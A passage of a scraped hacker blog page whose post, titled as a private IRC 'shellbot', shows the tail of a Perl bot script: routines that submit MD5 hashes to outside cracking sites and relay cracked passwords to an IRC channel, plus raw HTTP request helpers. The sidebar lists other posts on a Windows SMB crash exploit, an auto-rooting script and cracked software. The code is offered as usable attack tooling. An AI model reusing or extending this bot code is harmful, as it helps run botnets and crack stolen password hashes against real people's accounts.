m/<b>(.+?)<\/b>/g) {<br /> my $cracked="$1";<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-alimamed.pp.ru 4@ 12 ] 4 ==> ".$cracked);<br /> } else {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-alimamed.pp.ru 4@ 12 ] 1 Has not Found.");<br /> }}<br /> <br /> sub cry(){<br /> my $md5hash = $_[1];<br /> chomp $md5hash;<br /> my $query = "http://us.md5.crysm.net/find?md5=".$md5hash;<br /> my $checker = query($query);<br /> if ($checker =~ m/<li>(.+?)<\/li>/g) {<br /> my $cracked="$1";<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-crysm.net 4@ 12 ] 4 ==> ".$cracked);<br /> } else {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-crysm.net 4@ 12 ] 1 Has not Found.");<br /> }}<br /> <br /> sub query($) {<br /> my $url=$_[0];<br /> $url=~s/http:\/\///;<br /> my $host=$url;<br /> my $query=$url;<br /> my $page="";<br /> $host=~s/href=\"?http:\/\///;<br /> $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;<br /> $query=~s/$host//;<br /> if ($query eq "") { $query="/";};<br /> eval {<br /> my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;<br /> print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";<br /> my @r = <$sock>;<br /> $page="@r";<br /> close($sock);<br /> };<br /> return $page;<br /> }<br /> <br /> sub fix_url($) {<br /> my $str=$_[0];<br /> if ($str =~ m/^http:\/\/(.*)/i || $str =~ m/^https:\/\/(.*)/i) {<br /> $set="".$str."";<br /> }<br /> else {<br /> $set="http://".$str."";<br /> }<br /> return $set;<br /> }<br /> <br /> sub http_query($){<br /> my ($url) = @_;<br /> my $host=$url;<br /> my $query=$url;<br /> my $page="";<br /> $host =~ s/href=\"?http:\/\///;<br /> $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;<br /> $query =~s/$host//;<br /> if ($query eq "") {$query="/";};<br /> eval {<br /> local $SIG{ALRM} = sub { die "1";};<br /> alarm 10;<br /> my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;<br /> print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";<br /> my @r = <$sock>;<br /> $page="@r";<br /> alarm 0;<br /> close($sock);<br /> };<br /> return $page;<br /> }<br /> }<br /> ========================================================== <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn'>D4wFl1N</span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='star-ratings'> </span> <span class='post-comment-link'> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> <span class='post-share-buttons'> </span> <span class='item-control blog-admin pid-788777043'> <a href='https://www.blogger.com/post-edit.g?blogID=6236748874059373994&postID=4090825350203099149&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='http://www.blogger.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> Labels: <a href='http://d4wfl1n.blogspot.com/search/label/bot%20Script' rel='tag'>bot Script</a> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> <div class='comments' id='comments'> <a name='comments'></a> <h4> 0 comments: </h4> <dl class='avatar-comment-indent' id='comments-block'> </dl> <p class='comment-footer'> <a href='https://www.blogger.com/comment/fullpage/post/6236748874059373994/4090825350203099149' onclick='javascript:window.open(this.href, "bloggerPopup", "toolbar=0,location=0,statusbar=1,menubar=0,scrollbars=yes,width=640,height=500"); return false;'>Post a Comment</a> </p> <div id='backlinks-container'> <div id='Blog1_backlinks-container'> </div> </div> </div>  </div> <div class='blog-pager' id='blog-pager'> <span id='blog-pager-newer-link'> <a class='blog-pager-newer-link' href='http://d4wfl1n.blogspot.com/2010/08/nstreepl.html' id='Blog1_blog-pager-newer-link' title='Newer Post'>Newer Post</a> </span> <span id='blog-pager-older-link'> <a class='blog-pager-older-link' href='http://d4wfl1n.blogspot.com/2010/07/winvista7-smb-20-bsod-exploit-coded-by.html' id='Blog1_blog-pager-older-link' title='Older Post'>Older Post</a> </span> <a class='home-link' href='http://d4wfl1n.blogspot.com/'>Home</a> </div> <div class='clear'></div> </div></div> </div> <div id='sidebar-wrapper'> <div class='sidebar section' id='sidebar'><div class='widget HTML' data-version='1' id='HTML4'> <div class='widget-content'> <div style="width: 250px; height: 250px;"><object type="application/x-shockwave-flash" data="http://www.widgipedia.com/widgets/orido/Jam-Garuda-Indonesia-4639-8192_134217728.widget?__install_id=1358878226817&__view=expanded" width="250" height="250"> <param name="movie" value="http://www.widgipedia.com/widgets/orido/Jam-Garuda-Indonesia-4639-8192_134217728.widget?__install_id=1358878226817&__view=expanded" /> <param name="quality" value="high" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="always" /><param name="width" value="250" /><param name="height" value="250" /> <div class="online_widget_preview_no"><div><br />The <a href="/widgets/gallery/" title="Browse Widgets Gallery">Widgipedia gallery</a><br />requires Adobe Flash<br />Player 7 or higher.<br /><br />To view it, <a href="http://www.adobe.com/go/getflashplayer" target="_blank">click here</a><br />to get the latest<br />Adobe Flash Player.</div></div> </object></div><div style="width: 250px; height: 25px; background-image: url(http://www.widgipedia.com/images/web_widgets/get_web_widget_bg.gif); background-repeat: repeat-x; margin-bottom: 7px;"><a target="_blank" href="http://www.widgipedia.com/widgets/customize/orido/Jam-Garuda-Indonesia_4639.html" title="Get this widget from Widgipedia"><img src="http://www.widgipedia.com/images/web_widgets/get_web_widget_g.gif" width="32" height="25" alt="Get this widget from Widgipedia" title="Get this widget from Widgipedia" border="0" align="left" vspace="0" hspace="0" /><img src="http://www.widgipedia.com/images/web_widgets/get_web_widget_w.gif" width="80" height="25" alt="Get this widget from Widgipedia" title="Get this widget from Widgipedia" border="0" align="left" vspace="0" hspace="0" /></a><img src="http://www.widgipedia.com/images/web_widgets/get_web_widget_b.gif" width="2" height="25" alt="" border="0" align="left" vspace="0" hspace="3" /><a target="_blank" href="http://www.widgipedia.com/" title="More Web & Desktop Widgets @ Widgipedia"><img src="http://www.widgipedia.com/images/global/spacer.gif" width="106" height="25" alt="More Web & Desktop Widgets @ Widgipedia" title="More Web & Desktop Widgets @ Widgipedia" border="0" align="left" vspace="0" hspace="0" /><img src="http://www.widgipedia.com/images/web_widgets/get_web_widget_logo.gif" width="24" height="25" alt="More Web & Desktop Widgets @ Widgipedia" title="More Web & Desktop Widgets @ Widgipedia" border="0" align="right" vspace="0" hspace="0" /></a></div><img src="http://www.widgipedia.com/images/global/embed_13588790672u_4639w.gif" width="1" height="1" alt="" style="display: none" border="0" /> </div> <div class='clear'></div> </div><div class='widget Followers' data-version='1' id='Followers1'> <h2 class='title'>Followers</h2> <div class='widget-content'> <div id='Followers1-wrapper'> <div style='margin-right:2px;'> <div><script type="text/javascript" src="https://apis.google.com/js/platform.js"></script> <div id="followers-iframe-container"></div> <script type="text/javascript"> window.followersIframe = null; function followersIframeOpen(url) { gapi.load("gapi.iframes", function() { if (gapi.iframes && gapi.iframes.getContext) { window.followersIframe = gapi.iframes.getContext().openChild({ url: url, where: document.getElementById("followers-iframe-container"), messageHandlersFilter: gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER, messageHandlers: { '_ready': function(obj) { window.followersIframe.getIframeEl().height = obj.height; }, 'reset': function() { window.followersIframe.close(); followersIframeOpen("https://www.blogger.com/followers/frame/6236748874059373994?colors\x3dCgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM0NDQ0NDQiByMzMzY2Y2MqByNGRkZGRkYyByMwMDAwMDA6ByM0NDQ0NDRCByMzMzY2Y2NKByNmZmZmZmZSByMzMzY2Y2NaC3RyYW5zcGFyZW50\x26pageSize\x3d21\x26hl\x3den\x26origin\x3dhttp://d4wfl1n.blogspot.com"); }, 'open': function(url) { window.followersIframe.close(); followersIframeOpen(url); }, 'blogger-ping': function() { } } }); } }); } followersIframeOpen("https://www.blogger.com/followers/frame/6236748874059373994?colors\x3dCgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM0NDQ0NDQiByMzMzY2Y2MqByNGRkZGRkYyByMwMDAwMDA6ByM0NDQ0NDRCByMzMzY2Y2NKByNmZmZmZmZSByMzMzY2Y2NaC3RyYW5zcGFyZW50\x26pageSize\x3d21\x26hl\x3den\x26origin\x3dhttp://d4wfl1n.blogspot.com"); </script></div> </div> </div> <div class='clear'></div> </div> </div><div class='widget HTML' data-version='1' id='HTML8'> <div class='widget-content'> <a href="http://www.twitter.com/D4wFl1N"><img src="http://twitter-badges.s3.amazonaws.com/follow_me-c.png" alt="Follow D4wFl1N on Twitter"/></a> </div> <div class='clear'></div> </div><div class='widget BlogArchive' data-version='1' id='BlogArchive1'> <h2>Blog Archive</h2> <div class='widget-content'> <div id='ArchiveList'> <div id='BlogArchive1_ArchiveList'> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2013/'>2013</a> <span class='post-count' dir='ltr'>(20)</span> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2013/08/'>August</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2013/06/'>June</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2013/05/'>May</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2013/04/'>April</a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2013/03/'>March</a> <span class='post-count' dir='ltr'>(5)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2013/02/'>February</a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2013/01/'>January</a> <span class='post-count' dir='ltr'>(8)</span> </li> </ul> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2012/'>2012</a> <span class='post-count' dir='ltr'>(30)</span> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2012/11/'>November</a> <span class='post-count' dir='ltr'>(27)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2012/03/'>March</a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2012/01/'>January</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/'>2011</a> <span class='post-count' dir='ltr'>(87)</span> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/11/'>November</a> <span class='post-count' dir='ltr'>(16)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/10/'>October</a> <span class='post-count' dir='ltr'>(13)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/09/'>September</a> <span class='post-count' dir='ltr'>(6)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/08/'>August</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/07/'>July</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/06/'>June</a> <span class='post-count' dir='ltr'>(5)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/05/'>May</a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/04/'>April</a> <span class='post-count' dir='ltr'>(13)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/03/'>March</a> <span class='post-count' dir='ltr'>(8)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/02/'>February</a> <span class='post-count' dir='ltr'>(4)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2011/01/'>January</a> <span class='post-count' dir='ltr'>(18)</span> </li> </ul> </li> </ul> <ul> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼ </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2010/'>2010</a> <span class='post-count' dir='ltr'>(41)</span> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2010/12/'>December</a> <span class='post-count' dir='ltr'>(23)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2010/11/'>November</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2010/10/'>October</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2010/09/'>September</a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2010/08/'>August</a> <span class='post-count' dir='ltr'>(5)</span> </li> </ul> <ul> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼ </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2010/07/'>July</a> <span class='post-count' dir='ltr'>(9)</span> <ul class='posts'> <li><a href='http://d4wfl1n.blogspot.com/2010/07/mizok-bot-v32-private-sh3llbot.html'>Mizok Bot V3.2 PRiVaTE Sh3llBoT</a></li> <li><a href='http://d4wfl1n.blogspot.com/2010/07/winvista7-smb-20-bsod-exploit-coded-by.html'>WinVista/7 SMB 2.0 BSoD Exploit! - Coded by Phizo</a></li> <li><a href='http://d4wfl1n.blogspot.com/2010/07/scalezbot-ircbot-v10.html'>ScalezBot IRCBot v1.0</a></li> <li><a href='http://d4wfl1n.blogspot.com/2010/07/inception-2010-dvdrip-xvid.html'>Inception (2010) DVDRip XviD</a></li> <li><a href='http://d4wfl1n.blogspot.com/2010/07/memanfaatkan-fitur-yang-tersedia-by.html'>Memanfaatkan fitur yang tersedia........ ( by mbah...</a></li> <li><a href='http://d4wfl1n.blogspot.com/2010/07/kode-rahasia-untuk-pengguna.html'>KODE RAHASIA UNTUK PENGGUNA KETERGANTUNGAN Ponsel</a></li> <li><a href='http://d4wfl1n.blogspot.com/2010/07/cara-untuk-unlock-nokia-menggunakan.html'>CARA UNTUK UNLOCK NOKIA MENGGUNAKAN KODE INSTRUKSI</a></li> <li><a href='http://d4wfl1n.blogspot.com/2010/07/trick-membaca-pesansms-yg-telah.html'>Trick membaca pesan/sms yg telah terhapus</a></li> <li><a href='http://d4wfl1n.blogspot.com/2010/07/cara-setting-hp-sebgai-modem-gprs.html'>Cara Setting HP sebgai modem GPRS</a></li> </ul> </li> </ul> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2009/'>2009</a> <span class='post-count' dir='ltr'>(21)</span> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2009/09/'>September</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2009/08/'>August</a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2009/06/'>June</a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2009/04/'>April</a> <span class='post-count' dir='ltr'>(8)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2009/03/'>March</a> <span class='post-count' dir='ltr'>(6)</span> </li> </ul> <ul> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ► </span> </a> <a class='post-count-link' href='http://d4wfl1n.blogspot.com/2009/02/'>February</a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> </li> </ul> </div> </div> <div class='clear'></div> </div> </div><div class='widget Attribution' data-version='1' id='Attribution1'> <div class='widget-content' style='text-align: center;'> Powered by <a href='https://www.blogger.com' target='_blank'>Blogger</a>. </div> <div class='clear'></div> </div> <div class='widget LinkList' data-version='1' id='LinkList1'> <h2>Partner Site</h2> <div class='widget-content'> <ul> <li><a href='http://ayu-cyber.info/'>--::[AYU-CYBER]::--</a></li> <li><a href='http://www.nyubicrew.us/'>-=[ Nyubi Crew Team ]=-</a></li> <li><a href='http://familycode.wordpress.com/'>^family_code^ a.k.a kurniawan</a></li> <li><a href='http://adinugroho.web.id/'>Adi Nugroho a.k.a ^rumput_kering^</a></li> <li><a href='http://blog.al-habib.info/'>al-habib</a></li> <li><a href='http://nayari-return.blogspot.com/'>Arief Inside</a></li> <li><a href='http://artikel.xcode.or.id/'>Artikel Excode</a></li> <li><a href='http://code.google.com/'>c0de google</a></li> <li><a href='http://ipsecs.com/web/'>IT Security | Anto</a></li> <li><a href='http://crazydavinci.net/'>Joy CrazyDavinci</a></li> <li><a href='http://evilc0de.blogspot.com/'>NoGe</a></li> <li><a href='http://www.morningstarsecurity.com/news'>Security News</a></li> <li><a href='http://takecy07.blogspot.com/'>takecy</a></li> <li><a href='http://grey-corner.blogspot.com/'>The Grey Corner</a></li> <li><a href='http://www.ubuntugeek.com/'>Ubuntu Geek</a></li> <li><a href='http://yehg.net/'>yehg</a></li> <li><a href='http://businessarticles-zubair.blogspot.com/'>Zubair</a></li> <li><a href='http://keterbelakangan-mental.blogspot.com/'>ØÑêz Keterbelakangan Mental</a></li> </ul> <div class='clear'></div> </div> </div><div class='widget PopularPosts' data-version='1' id='PopularPosts1'> <h2>Entri Populer</h2> <div class='widget-content popular-posts'> <ul> <li> <div class='item-content'> <div class='item-title'><a href='http://d4wfl1n.blogspot.com/2009/02/rapidshare-mikrotik-free-crack-download.html'>Rapidshare Mikrotik free crack download</a></div> <div class='item-snippet'>http://rapidshare.com/files/122553199/mikrotik-2.9.40.iso http://rapidshare.com/files/122287837/mikrotik_2.9.27_full.rar http://rapidshare.c...</div> </div> <div style='clear: both;'></div> </li> <li> <div class='item-content'> <div class='item-title'><a href='http://d4wfl1n.blogspot.com/2012/11/simple-fuzzerpy.html'>Simple fuzzer.py</a></div> <div class='item-snippet'> #!/usr/bin/python import random def randomfunc(length, allthecrap): randomstuff = "" for number in range(1,length + 1)...</div> </div> <div style='clear: both;'></div> </li> <li> <div class='item-content'> <div class='item-title'><a href='http://d4wfl1n.blogspot.com/2013/01/java-sample-login-button-action.html'>[Java] Sample login button action</a></div> <div class='item-snippet'>try { String sql="Select * from Users1"; String host ="jdbc:derby://localhost:1527/Nash"; ...</div> </div> <div style='clear: both;'></div> </li> <li> <div class='item-content'> <div class='item-title'><a href='http://d4wfl1n.blogspot.com/2013/04/samsung-developer-competition-2013.html'>Samsung Developer Competition 2013</a></div> <div class='item-snippet'> Samsung menggelar rangkaian acara Samsung Developer Competition 2013. Sebuah acara untuk menjembatani pemain di industri mobile, ahli di bi...</div> </div> <div style='clear: both;'></div> </li> <li> <div class='item-content'> <div class='item-title'><a href='http://d4wfl1n.blogspot.com/2012/11/auto-rooting-script-ver-10.html'>Auto Rooting Script ver 1.0</a></div> <div class='item-snippet'> #!/usr/bin/perl # # Auto Rooting Script ver 1.0 # BHG Security Center ~ #bhg # _____ __ __________ __ # ...</div> </div> <div style='clear: both;'></div> </li> </ul> <div class='clear'></div> </div> </div><div class='widget HTML' data-version='1' id='HTML2'> <div class='widget-content'> <script> function muter2(){ scrW=screen.availWidth scrH=screen.availHeight window.moveTo(0,0) window.resizeTo(10,10) window.focus() for(x=0;x<80;x++){ window.resizeTo(10,scrH*x/80) } for(y=0;y<80;y++){ window.resizeTo(scrW*y/80,scrH) } window.resizeTo(scrW,scrH) } document.oncontextmenu=new Function("muter2();return false"); function keypressed(){alert(-=[ 0_o ]=-");} document.onkeydown=keypressed; function kasih_tau(){ alert('-=[ D4wFL1N ]=-'); } </script> </div> <div class='clear'></div> </div><div class='widget HTML' data-version='1' id='HTML1'> <div class='widget-content'> <script> var message="-=[ 0_o ]=-"; /////////////////////////////////// function clickIE4(){if (event.button==2){alert(message);return false;}} function clickNS4(e){if (document.layers||document.getElementById&&!document.all){if (e.which==2||e.which==3){alert(message);return false;}}} if (document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS4;} else if (document.all&&!document.getElementById){document.onmousedown=clickIE4;} document.oncontextmenu=new Function("alert(message);return false") </script> </div> <div class='clear'></div> </div><div class='widget HTML' data-version='1' id='HTML7'> <h2 class='title'>Visitor</h2> <div class='widget-content'> <script type="text/javascript" src="http://feedjit.com/serve/?vv=693&tft=3&dd=0&wid=ffbbbd0784ebacee&pid=0&proid=0&bc=FF0505&tc=FCFCFC&brd1=FFFFFF&lnk=01060A&hc=FFFFFF&hfc=010203&btn=C99700&ww=262&wne=10&wh=Live+Traffic+Feed&hl=0&hlnks=0&hfce=0&srefs=1&hbars=0"></script><noscript><a href="http://feedjit.com/">Feedjit Live Blog Stats</a></noscript> </div> <div class='clear'></div> </div><div class='widget HTML' data-version='1' id='HTML5'> <div class='widget-content'> <a href="http://www.alexa.com/siteinfo/d4wfl1n.blogspot.com"><script type='text/javascript' src='http://xslt.alexa.com/site_stats/js/s/a?url=d4wfl1n.blogspot.com'></script></a> </div> <div class='clear'></div> </div><div class='widget HTML' data-version='1' id='HTML10'> <div class='widget-content'>  <script type='text/javascript'></script> <script type='text/javascript' src='http://www.rankwidget.com/get_rank.js'></script> <a href='http://www.rankwidget.com/' alt='rankwidget.com' target='http://d4wfl1n.nyubicrew.us/'><img border="0" src="http://www.rankwidget.com/images/logo-s.gif" /></a>  </div> <div class='clear'></div> </div></div> </div>  <div class='clear'> </div> </div>  <div id='content-but'></div> </div></div>  <div id='footer-bg'> <div id='footer'>  <div class='first-links'> Copyright (c) 2010 <a href='http://d4wfl1n.blogspot.com/'>-=[ D4wFl1N ]=-</a>. Designed by <a href='http://www.deluxetemplates.net/'>Blogger Templates</a></div> </div></div> <link href='http://alexgorbatchev.com/pub/sh/current/styles/shCore.css' rel='stylesheet' type='text/css'/> <link href='http://alexgorbatchev.com/pub/sh/current/styles/shThemeDefault.css' rel='stylesheet' type='text/css'/> <script src='http://alexgorbatchev.com/pub/sh/current/scripts/shCore.js' type='text/javascript'></script> <script src='http://alexgorbatchev.com/pub/sh/current/scripts/shLegacy.js' type='text/javascript'></script> <script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushBash.js' type='text/javascript'></script> <script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushJava.js' type='text/javascript'></script> <script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushXml.js' type='text/javascript'></script> <script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushSql.js' type='text/javascript'></script> <script type='text/javascript'> SyntaxHighlighter.config.bloggerMode = true; SyntaxHighlighter.all(); </script> <script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/984859869-widgets.js"></script> <script type='text/javascript'> window['__wavt'] = 'AOuZoY4deK7VmlAwAMmkCubWxkHfpdeaYA:1732553439985';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d6236748874059373994','//d4wfl1n.blogspot.com/2010/07/mizok-bot-v32-private-sh3llbot.html','6236748874059373994'); _WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '6236748874059373994', 'title': '-\x3d[ D4wFl1N ]\x3d-', 'url': 'http://d4wfl1n.blogspot.com/2010/07/mizok-bot-v32-private-sh3llbot.html', 'canonicalUrl': 'http://d4wfl1n.blogspot.com/2010/07/mizok-bot-v32-private-sh3llbot.html', 'homepageUrl': 'http://d4wfl1n.blogspot.com/', 'searchUrl': 'http://d4wfl1n.blogspot.com/search', 'canonicalHomepageUrl': 'http://d4wfl1n.blogspot.com/', 'blogspotFaviconUrl': 'http://d4wfl1n.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': 'UA-16455081-2', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22-\x3d[ D4wFl1N ]\x3d- - Atom\x22 href\x3d\x22http://d4wfl1n.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22-\x3d[ D4wFl1N ]\x3d- - RSS\x22 href\x3d\x22http://d4wfl1n.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22-\x3d[ D4wFl1N ]\x3d- - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/6236748874059373994/posts/default\x22 /\x3e\n\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22-\x3d[ D4wFl1N ]\x3d- - Atom\x22 href\x3d\x22http://d4wfl1n.blogspot.com/feeds/4090825350203099149/comments/default\x22 /\x3e\n', 'meTag': '', 'adsenseClientId': 'ca-pub-2151435250309240', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': false, 